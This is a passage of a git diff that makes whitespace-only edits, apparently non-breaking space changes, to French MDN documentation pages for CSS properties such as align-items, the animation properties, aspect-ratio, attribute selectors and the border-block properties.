HTML grâce à CSS](/fr/docs/Web/HTML/Applying_color) - Le type de donnée {{cssxref("<color>")}} -- Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}} +- Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}} diff --git a/files/fr/web/css/adjacent_sibling_combinator/index.md b/files/fr/web/css/adjacent_sibling_combinator/index.md index edd67d5fde..6ca2059096 100644 --- a/files/fr/web/css/adjacent_sibling_combinator/index.md +++ b/files/fr/web/css/adjacent_sibling_combinator/index.md @@ -52,7 +52,7 @@ li:first-of-type + li { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------------------------ | | {{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}} | {{Spec2('CSS4 Selectors')}} | Renomme ce sélecteur en « _next-sibling combinator_ ». | -| {{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}} | {{Spec2('CSS3 Selectors')}} | | +| {{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}} | {{Spec2('CSS3 Selectors')}} | | | {{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}} | {{Spec2('CSS2.1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/align-items/index.md b/files/fr/web/css/align-items/index.md index c28220d0e1..ab7c6615d6 100644 --- a/files/fr/web/css/align-items/index.md +++ b/files/fr/web/css/align-items/index.md @@ -240,7 +240,7 @@ display.addEventListener('change', function (evt) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------------------- | -------------------- | -| {{SpecName("CSS3 Box Alignment", "#propdef-align-items", "align-items")}} | {{Spec2("CSS3 Box Alignment")}} | | +| {{SpecName("CSS3 Box Alignment", "#propdef-align-items", "align-items")}} | {{Spec2("CSS3 Box Alignment")}} | | | {{SpecName('CSS3 Flexbox', '#propdef-align-items', 'align-items')}} | {{Spec2('CSS3 Flexbox')}} | Définition initiale. | {{cssinfo}} diff --git a/files/fr/web/css/align-self/index.md b/files/fr/web/css/align-self/index.md index f06d597f72..3648cc14a9 100644 --- a/files/fr/web/css/align-self/index.md +++ b/files/fr/web/css/align-self/index.md @@ -125,9 +125,9 @@ align-self: unset; ```html <div class="flex-container"> - <p class="element-flex center">Milieu</p> - <p class="element-flex baseline">Base</p> - <p class="element-flex stretch">Étiré</p> + <p class="element-flex center">Milieu</p> + <p class="element-flex baseline">Base</p> + <p class="element-flex stretch">Étiré</p> </div> ``` @@ -139,7 +139,7 @@ align-self: unset; | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------------------- | -------------------- | -| {{SpecName("CSS3 Box Alignment", "#propdef-align-self", "align-self")}} | {{Spec2("CSS3 Box Alignment")}} | | +| {{SpecName("CSS3 Box Alignment", "#propdef-align-self", "align-self")}} | {{Spec2("CSS3 Box Alignment")}} | | | {{SpecName("CSS3 Flexbox", "#propdef-align-self", "align-self")}} | {{Spec2("CSS3 Flexbox")}} | Définition initiale. | {{cssinfo}} diff --git a/files/fr/web/css/all/index.md b/files/fr/web/css/all/index.md index eb9cec8e9d..62e2dfd057 100644 --- a/files/fr/web/css/all/index.md +++ b/files/fr/web/css/all/index.md @@ -5,7 +5,7 @@ translation_of: Web/CSS/all --- {{CSSRef}} -La [propriété raccourcie](/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies) **`all`** permet de réinitialiser toutes les propriétés, à l'exception de {{cssxref("unicode-bidi")}} et {{cssxref("direction")}}, avec leurs valeurs initiales, héritées ou qui proviennent d'une autre feuille de style. +La [propriété raccourcie](/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies) **`all`** permet de réinitialiser toutes les propriétés, à l'exception de {{cssxref("unicode-bidi")}} et {{cssxref("direction")}}, avec leurs valeurs initiales, héritées ou qui proviennent d'une autre feuille de style. {{EmbedInteractiveExample("pages/css/all.html")}} diff --git a/files/fr/web/css/angle-percentage/index.md b/files/fr/web/css/angle-percentage/index.md index 3e88cfb95e..079d9089a2 100644 --- a/files/fr/web/css/angle-percentage/index.md +++ b/files/fr/web/css/angle-percentage/index.md @@ -23,7 +23,7 @@ Lorsqu'il est possible d'utiliser une valeur de type `<angle-percentage>` dans u | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | -------------------------------- | ---------------------------------------------------------- | -| {{SpecName('CSS4 Values', '#mixed-percentages', '<angle-percentage>')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values', '#mixed-percentages', '<angle-percentage>')}} | {{Spec2('CSS4 Values')}} | | | {{SpecName('CSS3 Values', '#mixed-percentages', '<angle-percentage>')}} | {{Spec2('CSS3 Values')}} | Définition du type `<angle-percentage>`. Ajout de `calc()` | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/angle/index.md b/files/fr/web/css/angle/index.md index d7ce3f0153..7799da0269 100644 --- a/files/fr/web/css/angle/index.md +++ b/files/fr/web/css/angle/index.md @@ -82,7 +82,7 @@ Même si toutes les unités exprimeront une valeur nulle identique, l'unité **d | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | -------------------------------- | -------------------- | -| {{SpecName('CSS4 Values', '#angles', '<angle>')}} | {{Spec2('CSS4 Values')}} | | +| {{SpecName('CSS4 Values', '#angles', '<angle>')}} | {{Spec2('CSS4 Values')}} | | | {{SpecName('CSS3 Values', '#angles', '<angle>')}} | {{Spec2('CSS3 Values')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/animation-delay/index.md b/files/fr/web/css/animation-delay/index.md index 6d7b65d0e6..22d240ecdc 100644 --- a/files/fr/web/css/animation-delay/index.md +++ b/files/fr/web/css/animation-delay/index.md @@ -31,7 +31,7 @@ animation-delay: 2s, 4ms; - `<time>` - : La durée avec laquelle décaler le début de l'animation à partir du moment où celle-ci a été appliquée à l'élément. La valeur peut être indiquée en secondes (`s` comme suffixe) ou en millisecondes (`ms` comme suffixe). Si aucune unité n'est définie, la déclaration sera considérée comme invalide. -> **Note :** Lorsqu'on utilise plusieurs valeurs (séparées par des virgules) pour une propriété `animation-*`, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer [les valeurs des propriétés pour plusieurs animations](/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS). +> **Note :** Lorsqu'on utilise plusieurs valeurs (séparées par des virgules) pour une propriété `animation-*`, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer [les valeurs des propriétés pour plusieurs animations](/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS). ### Syntaxe formelle diff --git a/files/fr/web/css/animation-direction/index.md b/files/fr/web/css/animation-direction/index.md index 7a45e9ebaa..d0ff9ae665 100644 --- a/files/fr/web/css/animation-direction/index.md +++ b/files/fr/web/css/animation-direction/index.md @@ -92,8 +92,8 @@ p { </p> <p class="retour"> - « Revenez, » lui cria la Chenille. « J’ai quelque chose - d’important à vous dire ! » + « Revenez, » lui cria la Chenille. « J’ai quelque chose + d’important à vous dire ! » </p> ``` diff --git a/files/fr/web/css/animation-iteration-count/index.md b/files/fr/web/css/animation-iteration-count/index.md index f2441ca1f0..1c2d07952c 100644 --- a/files/fr/web/css/animation-iteration-count/index.md +++ b/files/fr/web/css/animation-iteration-count/index.md @@ -37,9 +37,9 @@ La propriété `animation-iteration-count` est définie avec une ou plusieurs va ### Valeurs - `infinite` - - : L'animation sera répétée à l'infini. Dans ce mode d'animation infinie, cette valeur est considérée de la même manière qu'une valeur paire par la propriété **`animation-direction`**. + - : L'animation sera répétée à l'infini. Dans ce mode d'animation infinie, cette valeur est considérée de la même manière qu'une valeur paire par la propriété **`animation-direction`**. - `<number>` - - : Le nombre de répétitions pour l'animation. La valeur par défaut est `1` (elle n'est exécutée qu'une seule fois). Les valeurs négatives sont considérées comme invalides. Il est possible d'utiliser des valeurs qui ne sont pas entières pour indiquer des fragments d'un cycle (ainsi `0.5` indiquera une moitié du cycle de l'animation). + - : Le nombre de répétitions pour l'animation. La valeur par défaut est `1` (elle n'est exécutée qu'une seule fois). Les valeurs négatives sont considérées comme invalides. Il est possible d'utiliser des valeurs qui ne sont pas entières pour indiquer des fragments d'un cycle (ainsi `0.5` indiquera une moitié du cycle de l'animation). > **Note :** Lorsqu'on utilise plusieurs valeurs, séparées par des virgules, pour une propriété `animation-*`, selon leur quantité, elles seront différemment affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : paramétrer [les valeurs des propriétés pour plusieurs animations](/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS). @@ -89,7 +89,7 @@ p { </p> <p class="dix"> - Voyons si je me souviendrai de tout ce que je savais : quatre fois + Voyons si je me souviendrai de tout ce que je savais : quatre fois cinq font douze, quatre fois six font treize, quatre fois sept font — je n’arriverai jamais à vingt de ce train-là. </p> diff --git a/files/fr/web/css/animation-play-state/index.md b/files/fr/web/css/animation-play-state/index.md index 9a1e643d7a..5bd168d765 100644 --- a/files/fr/web/css/animation-play-state/index.md +++ b/files/fr/web/css/animation-play-state/index.md @@ -39,7 +39,7 @@ animation-play-state: unset; - `paused` - : L'animation est en pause. -> **Note :** Lorsqu'on utilise plusieurs valeurs, séparées par des virgules, pour une propriété `animation-*`, elles seront respectivement affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : [paramétrer les valeurs des propriétés pour plusieurs animations](/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS). +> **Note :** Lorsqu'on utilise plusieurs valeurs, séparées par des virgules, pour une propriété `animation-*`, elles seront respectivement affectées aux animations définies par {{cssxref("animation-name")}}. Pour plus d'informations, voir : [paramétrer les valeurs des propriétés pour plusieurs animations](/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS). ### Syntaxe formelle diff --git a/files/fr/web/css/animation-timing-function/index.md b/files/fr/web/css/animation-timing-function/index.md index 7a93b3ee20..cb1f9c9a39 100644 --- a/files/fr/web/css/animation-timing-function/index.md +++ b/files/fr/web/css/animation-timing-function/index.md @@ -94,7 +94,7 @@ Une fonction de progression pour une animation qui est définie pour une étape - `step-end` - : Synonyme de `steps(1, jump-end)` -> **Note :** Lorsqu'on définit plusieurs valeurs, séparées par des virgules, sur une propriété `animation-*`, elles seront affectées selon leur ordre aux différentes animations listées par {{cssxref("animation-name")}}. Si le nombre de valeurs n'est pas le même que le nombre d'animation, voir [Paramétrer plusieurs valeurs de propriétés pour les animations](/fr/docs/Web/CSS/CSS_Animations/Using_CSS_animations#utiliser_plusieurs_valeurs_pour_diff%c3%a9rentes_animations). +> **Note :** Lorsqu'on définit plusieurs valeurs, séparées par des virgules, sur une propriété `animation-*`, elles seront affectées selon leur ordre aux différentes animations listées par {{cssxref("animation-name")}}. Si le nombre de valeurs n'est pas le même que le nombre d'animation, voir [Paramétrer plusieurs valeurs de propriétés pour les animations](/fr/docs/Web/CSS/CSS_Animations/Using_CSS_animations#utiliser_plusieurs_valeurs_pour_diff%c3%a9rentes_animations). ### Syntaxe formelle diff --git a/files/fr/web/css/animation/index.md b/files/fr/web/css/animation/index.md index 2c15a43411..2bbd9880e7 100644 --- a/files/fr/web/css/animation/index.md +++ b/files/fr/web/css/animation/index.md @@ -239,7 +239,7 @@ L'ordre des valeurs est également important pour chaque définition d'animation ### Valeurs - `<single-animation-iteration-count>` - - : Le nombre de fois où l'animation est jouée, cf. {{cssxref("animation-iteration-count")}}. + - : Le nombre de fois où l'animation est jouée, cf. {{cssxref("animation-iteration-count")}}. - `<single-animation-direction>` - : La direction dans laquelle s'effectue l'animation, cf. {{cssxref("animation-direction")}}. - `<single-animation-fill-mode>` diff --git a/files/fr/web/css/aspect-ratio/index.md b/files/fr/web/css/aspect-ratio/index.md index 4e7925541b..0309ff17b0 100644 --- a/files/fr/web/css/aspect-ratio/index.md +++ b/files/fr/web/css/aspect-ratio/index.md @@ -6,7 +6,7 @@ browser-compat: css.properties.aspect-ratio --- {{CSSRef}} -La propriété [CSS](/fr/docs/Web/CSS) **`aspect-ratio`** définit un **ratio d'affichage préférentiel** pour la boîte, qui sera utilisé dans le calcul des tailles automatiques et pour d'autres fonctions de mise en page. +La propriété [CSS](/fr/docs/Web/CSS) **`aspect-ratio`** définit un **ratio d'affichage préférentiel** pour la boîte, qui sera utilisé dans le calcul des tailles automatiques et pour d'autres fonctions de mise en page. ```css aspect-ratio: 1 / 1; @@ -44,9 +44,9 @@ aspect-ratio: 16 / 9; ## Correspondance entre largeur et hauteur avec aspect-ratio -Les navigateurs ont ajouté une propriété `aspect-ratio` interne qui s'applique aux [éléments remplacés](/fr/docs/Web/CSS/Replaced_element) et à d'autres éléments liés qui acceptent les attributs `width` et `height`. Cela se passe dans la feuille de styles interne du navigateur. +Les navigateurs ont ajouté une propriété `aspect-ratio` interne qui s'applique aux [éléments remplacés](/fr/docs/Web/CSS/Replaced_element) et à d'autres éléments liés qui acceptent les attributs `width` et `height`. Cela se passe dans la feuille de styles interne du navigateur. -Sur Firefox, la règle de la feuille de styles interne ressemble à cela : +Sur Firefox, la règle de la feuille de styles interne ressemble à cela : ```css img, input[type="image"], video, embed, iframe, marquee, object, table { diff --git a/files/fr/web/css/attribute_selectors/index.md b/files/fr/web/css/attribute_selectors/index.md index 8ab8566828..cb79757ed6 100644 --- a/files/fr/web/css/attribute_selectors/index.md +++ b/files/fr/web/css/attribute_selectors/index.md @@ -51,15 +51,15 @@ a[class~="logo"] { - `[attr~=valeur]` - : Permet de cibler un élément qui possède un attribut `attr` dont la valeur est `valeur`. Cette forme permet de fournir une liste de valeurs, séparées par des blancs, à tester. Si au moins une de ces valeurs est égale à celle de l'attribut, l'élément sera ciblé. - `[attr|=valeur]` - - : Permet de cibler un élément qui possède un attribut `attr` dont la valeur est exactement `valeur` ou dont la valeur commence par `valeur` suivi immédiatement d'un tiret (U+002D). Cela peut notamment être utilisé pour effectuer des correspondances avec des codes de langues. + - : Permet de cibler un élément qui possède un attribut `attr` dont la valeur est exactement `valeur` ou dont la valeur commence par `valeur` suivi immédiatement d'un tiret (U+002D). Cela peut notamment être utilisé pour effectuer des correspondances avec des codes de langues. - `[attr^=valeur]` - : Permet de cibler un élément qui possède un attribut `attr` dont la valeur commence par `valeur`. - `[attr$=valeur]` - : Permet de cibler un élément qui possède un attribut `attr` dont la valeur se termine par `valeur`. - `[attr*=valeur]` - - : Permet de cibler un élément qui possède un attribut `attr` et dont la valeur contient au moins une occurrence de `valeur` dans la chaîne de caractères. + - : Permet de cibler un élément qui possède un attribut `attr` et dont la valeur contient au moins une occurrence de `valeur` dans la chaîne de caractères. - `[attr operateur valeur i]` - - : On peut ajouter un `i` (ou `I`) avant le crochet de fin. Dans ce cas, la casse ne sera pas prise en compte (pour les caractères contenus sur l'intervalle ASCII). + - : On peut ajouter un `i` (ou `I`) avant le crochet de fin. Dans ce cas, la casse ne sera pas prise en compte (pour les caractères contenus sur l'intervalle ASCII). - `[attr operateur valeur s]` {{experimental_inline}} - : Ajouter un `s` (ou `S`) avant le crochet fermant permettra d'effectuer une comparaison de valeur sensible à la casse (pour les caractères ASCII). @@ -214,7 +214,7 @@ ol[type="A" s] { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ------------------------------------ | ------------------------------------------------------------------------------------------- | | {{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}} | {{Spec2('CSS4 Selectors')}} | Ajout du modification pour la sélection des valeurs d'attribut ASCII insensible à la casse. | -| {{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}} | {{Spec2('CSS3 Selectors')}} | | +| {{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}} | {{Spec2('CSS3 Selectors')}} | | | {{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}} | {{Spec2('CSS2.1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/css/background-color/index.md b/files/fr/web/css/background-color/index.md index 474f17a985..b0feacda10 100644 --- a/files/fr/web/css/background-color/index.md +++ b/files/fr/web/css/background-color/index.md @@ -35,7 +35,7 @@ background-color: rgb(255, 255, 128); background-color: rgba(117, 190, 218, 0.0); /* 0.0 - transparent */ background-color: rgba(117, 190, 218, 0.5); /* 0.5 - semi-transparent */ background-color: rgba(117, 190, 218, 1.0); /* 1.0 - opaque */ - + /* Valeur HSLA */ background-color: hsla(50, 33%, 25%, 0.75); @@ -116,8 +116,8 @@ Le ratio de contraste entre les couleurs est déterminé en comparant la luminos | Spécification | Commentaires | Retours | | ------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}} | Le mot-clé `transparent` a été retiré de la propriété pour être intégré au type de données {{cssxref("<color>")}} (dans la pratique, il n'y a aucune différence). | [_Issues_ GitHub pour la spécification Background de niveau 3 (en anglais)](https://github.com/w3c/csswg-drafts/labels/css-backgrounds-3) | -| {{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}} | Aucune modification. | | -| {{SpecName('CSS1', '#background-color', 'background-color')}} | Définition initiale. | | +| {{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}} | Aucune modification. | | +| {{SpecName('CSS1', '#background-color', 'background-color')}} | Définition initiale. | | {{cssinfo}} diff --git a/files/fr/web/css/background-position-x/index.md b/files/fr/web/css/background-position-x/index.md index 03d62fdef2..c8ed834f44 100644 --- a/files/fr/web/css/background-position-x/index.md +++ b/files/fr/web/css/background-position-x/index.md @@ -16,7 +16,7 @@ Pour plus d'informations, se référer à la documentation de la propriété {{c {{EmbedInteractiveExample("pages/css/background-position-x.html")}} -> **Note :** La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration de `background-position-x`. +> **Note :** La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration de `background-position-x`. ## Syntaxe diff --git a/files/fr/web/css/background-position-y/index.md b/files/fr/web/css/background-position-y/index.md index ac91b537cf..8e3cdd11c1 100644 --- a/files/fr/web/css/background-position-y/index.md +++ b/files/fr/web/css/background-position-y/index.md @@ -14,7 +14,7 @@ La propriété **`background-position-y`** définit la position verticale initia {{EmbedInteractiveExample("pages/css/background-position-y.html")}} -> **Note :** La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration. +> **Note :** La valeur de cette propriété sera surchargée par n'importe quelle déclaration avec {{cssxref("background")}} ou {{cssxref("background-position")}} située après la déclaration. ## Syntaxe diff --git a/files/fr/web/css/basic-shape/index.md b/files/fr/web/css/basic-shape/index.md index 759f147f5e..bb2b9447ef 100644 --- a/files/fr/web/css/basic-shape/index.md +++ b/files/fr/web/css/basic-shape/index.md @@ -9,7 +9,7 @@ translation_of: Web/CSS/basic-shape --- {{CSSRef}} -Le type **`<basic-shape>`** permet de définir une forme simple en utilisant des fonctions et est notamment utilisé pour les propriétés {{cssxref("clip-path")}}, {{cssxref("shape-outside")}} ou {{cssxref("offset-path")}}. +Le type **`<basic-shape>`** permet de définir une forme simple en utilisant des fonctions et est notamment utilisé pour les propriétés {{cssxref("clip-path")}}, {{cssxref("shape-outside")}} ou {{cssxref("offset-path")}}. {{EmbedInteractiveExample("pages/css/type-basic-shape.html")}} @@ -85,7 +85,7 @@ Les arguments qui ne sont pas définis ci-avant suivent cette syntaxe : Les valeurs d'une fonction `<basic-shape>` sont calculées comme indiqué, avec ces exceptions : - Les valeurs absentes sont incluses et leurs valeurs calculées sont leurs valeurs par défaut. -- Une valeur {{cssxref("<position>")}} pour `circle()` ou `ellipse()` est calculée comme une paire de distances indiquant les décalages (horizontaux puis verticaux) depuis l'origine en haut à gauche. Chaque décalage est indiqué comme une combinaison d'une longueur absolue et d'un pourcentage. +- Une valeur {{cssxref("<position>")}} pour `circle()` ou `ellipse()` est calculée comme une paire de distances indiquant les décalages (horizontaux puis verticaux) depuis l'origine en haut à gauche. Chaque décalage est indiqué comme une combinaison d'une longueur absolue et d'un pourcentage. - Pour `inset()`, une valeur {{cssxref("border-radius")}} est calculée comme une liste développée de de huit valeurs {{cssxref("length")}} ou de huit pourcentages. ## L'interpolation des formes simples diff --git a/files/fr/web/css/border-block-end-color/index.md b/files/fr/web/css/border-block-end-color/index.md index 0ec14f6de2..3c10d3fcd5 100644 --- a/files/fr/web/css/border-block-end-color/index.md +++ b/files/fr/web/css/border-block-end-color/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/border-block-end-color --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-end-color`** définit la couleur de la bordure pour le côté de la fin de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-end-color`** définit la couleur de la bordure pour le côté de la fin de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-end-color.html")}} diff --git a/files/fr/web/css/border-block-end-style/index.md b/files/fr/web/css/border-block-end-style/index.md index 4ca9575ace..15d3b4c18d 100644 --- a/files/fr/web/css/border-block-end-style/index.md +++ b/files/fr/web/css/border-block-end-style/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-block-end-style --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-end-style`** définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-end-style`** définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-end-style.html")}} diff --git a/files/fr/web/css/border-block-end-width/index.md b/files/fr/web/css/border-block-end-width/index.md index 114e01a91e..57c32bf80c 100644 --- a/files/fr/web/css/border-block-end-width/index.md +++ b/files/fr/web/css/border-block-end-width/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-block-end-width --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-end-width`** définit la largeur de la bordure pour le côté de bloc de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-end-width`** définit la largeur de la bordure pour le côté de bloc de la fin « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la directionnalité et de l'orientation du texte. Autrement dit, elle correspondra à {{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}} ou a {{cssxref("border-left-width")}} selon les valeurs des propriétés pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-end-width.html")}} diff --git a/files/fr/web/css/border-block-end/index.md b/files/fr/web/css/border-block-end/index.md index e449f9d7a3..058f278605 100644 --- a/files/fr/web/css/border-block-end/index.md +++ b/files/fr/web/css/border-block-end/index.md @@ -14,7 +14,7 @@ La propriété **`border-block-end`** est une propriété raccourcie qui permet {{EmbedInteractiveExample("pages/css/border-block-end.html")}} -Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +Cette propriété logique correspond à l'une des propriété physique équivalente selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}} ou {{cssxref("border-left")}} selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. On peut rapprocher cette propriété des autres propriétés logiques raccourcies définissant les bordures des autres côtés : diff --git a/files/fr/web/css/border-block-start-color/index.md b/files/fr/web/css/border-block-start-color/index.md index e2330aab8f..4c7398898b 100644 --- a/files/fr/web/css/border-block-start-color/index.md +++ b/files/fr/web/css/border-block-start-color/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/border-block-start-color --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-start-color`** définit la couleur de la bordure pour le côté du début de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-start-color`** définit la couleur de la bordure pour le côté du début de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-start-color.html")}} diff --git a/files/fr/web/css/border-block-start-style/index.md b/files/fr/web/css/border-block-start-style/index.md index ddf1ca944b..531b72bb5c 100644 --- a/files/fr/web/css/border-block-start-style/index.md +++ b/files/fr/web/css/border-block-start-style/index.md @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-block-start-style --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-start-style`** définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. +La propriété **`border-block-start-style`** définit le style de la bordure utilisé pour le côté du début de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}. {{EmbedInteractiveExample("pages/css/border-block-start-style.html")}} diff --git a/files/fr/web/css/border-block-start-width/index.md b/files/fr/web/css/border-block-start-width/index.md index 06219322dd..06e02919a1 100644 --- a/files/fr/web/css/border-block-start-width/index.md +++ b/files/fr/web/css/border-block-start-width/index.md @@ -11,7 +11,7 @@ translation_of: Web/CSS/border-block-start-width --- {{CSSRef}}{{SeeCompatTable}} -La propriété **`border-block-start-width`** définit la largeur de la bordure pour le côté de bloc du début « logique » de l'élément. Cette propriété logique correspond à l'une des propriétés physiques équivalentes en fonction du mode d'écriture, de la 